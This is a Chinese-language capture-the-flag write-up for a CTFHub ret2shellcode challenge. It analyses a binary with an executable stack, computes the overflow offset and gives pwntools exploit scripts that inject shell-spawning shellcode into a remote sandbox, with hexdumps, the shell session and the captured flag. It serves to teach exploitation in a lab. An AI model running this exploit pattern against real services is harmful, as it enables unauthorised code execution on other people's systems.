PWN入门-ret2shellcode-1

Mon Sep 16 2024

什么是ret2shellcode

ret2shellcode就是自己调用shellcode注入到内存里,利用栈溢出的方式重新写入跳转地址,让进程跳转到shellcode的内存里面去

解题

checksec

SH
1
2
3
4
5
6
7
8
9
10
checksec --file ret2shellcode 
[*] '/pwn/ret2shellcode'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x400000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No

发现是64位的程序

IDA

直接打开IDA-64进行查看

Alt text

这里可以看到buf的真实大小只有两个字节,但是stdin可以读取0x400个字节到buf,可以考虑在此处进行栈溢出

Alt text

这里可以看到buf到栈底的距离是0x10,在加上栈底寄存器rbp有8个字节,就可以算出我们只需要在(0x10 + 0x08)的地址上写入,就可以完成栈溢出

现在我们只需要把shellcode写入到栈上,在让它跳转到栈上执行就可以

运行程序

BASH
1
2
3
4
./ret2shellcode 
Welcome to CTFHub ret2shellcode!
What is it : [0x7ffdada7a040] ?
Input someting : 

可以看到输出了一个栈上的buf的地址,可以根据此地址判断shellcode的偏移量

编写exp

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *
context.log_level="debug" # 日志等级改为debug
shellcode=asm(shellcraft.sh()) #生成用于开启shell的shellcode是使用asm把汇编文本转成机器码
print(shellcode) # 打印shellcode
print(f'len:{len(shellcode)}') # 打印shellcode的长度 这里的shellcode长度为44 大于buf地址的0x18 所以返回地址就不能紧跟着放在0x18 而是放在(0x18+0x8)下确保不会被覆盖
#io=process("./ret2shellcode") # 本地连接
io=remote("challenge-62a24a8f183cefc0.sandbox.ctfhub.com",38729) # 远程连接
io.recvuntil("0x") # 读取直到输出0x
buf_addr=int(io.recvuntil(']',True),16) #  读取并解析紧跟在"0x"后面的地址,直到]字符。该地址是以16进制表示的,所以通过int()转化为整数
off=0x18 + 0x8 # 偏移量计算,包含栈缓冲区和返回地址 ret有8个字节
shellcode_addr=buf_addr+off # 计算shellcode在缓冲区中的地址
payload=b'a' * 0x18 + p64(shellcode_addr) + shellcode # 攻击本体
io.sendline(payload) # 发送payload
io.interactive() # 与远程服务器进行交互,尝试获得shell

执行python脚本

SH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
[DEBUG] Sent 0x4d bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  10 04 01 39  fe 7f 00 00  │aaaa│aaaa│···9│····│
    00000020  6a 68 68 2f  2f 2f 73 68  2f 62 69 6e  89 e3 68 01  │jhh/│//sh│/bin│··h·│
    00000030  01 01 01 81  34 24 72 69  01 01 31 c9  51 6a 04 59  │····│4$ri│··1·│Qj·Y│
    00000040  01 e1 51 89  e1 31 d2 6a  0b 58 cd 80  0a           │··Q·│·1·j│·X··│·│
    0000004d
[*] Switching to interactive mode
 ?
Input someting : 
[*] Got EOF while reading in interactive
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
$ 
[*] Interrupted
[*] Closed connection to challenge-62a24a8f183cefc0.sandbox.ctfhub.com port 38729

这是因为x86-64架构引入了一个新的指令syscall,int 80虽然可以用,但是可能会有兼容性问题,所以需要使用x86-68cpu指令集

修改脚本

PYTHON
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context.arch = 'x86-64' # 设置CPU架构为 x86-64
context.log_level="debug" 
shellcode=asm(shellcraft.sh()) 
print(shellcode) 
print(f'len:{len(shellcode)}') 
#io=process("./ret2shellcode")
io=remote("challenge-62a24a8f183cefc0.sandbox.ctfhub.com",38729)
io.recvuntil("0x")
buf_addr=int(io.recvuntil(']',True),16)
off=0x18 + 0x8
shellcode_addr=buf_addr+off
payload=b'a' * 0x18 + p64(shellcode_addr) + shellcode
io.sendline(payload)
io.interactive()

再次执行python脚本

SH
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
[DEBUG] Sent 0x51 bytes:
    00000000  61 61 61 61  61 61 61 61  61 61 61 61  61 61 61 61  │aaaa│aaaa│aaaa│aaaa│
    00000010  61 61 61 61  61 61 61 61  c0 74 b9 34  fe 7f 00 00  │aaaa│aaaa│·t·4│····│
    00000020  6a 68 48 b8  2f 62 69 6e  2f 2f 2f 73  50 48 89 e7  │jhH·│/bin│///s│PH··│
    00000030  68 72 69 01  01 81 34 24  01 01 01 01  31 f6 56 6a  │hri·│··4$│····│1·Vj│
    00000040  08 5e 48 01  e6 56 48 89  e6 31 d2 6a  3b 58 0f 05  │·^H·│·VH·│·1·j│;X··│
    00000050  0a                                                  │·│
    00000051
[*] Switching to interactive mode
 ?
Input someting : 
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x21 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'pwn\n'
bin
dev
flag
lib
lib32
lib64
pwn

获取flag

SH
1
2
3
4
5
6
7
8
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x21 bytes:
    b'ctfhub{b4968146e4ebf4415dfa3234}\n'
ctfhub{b4968146e4ebf4415dfa3234}
[*] Got EOF while reading in interactive
$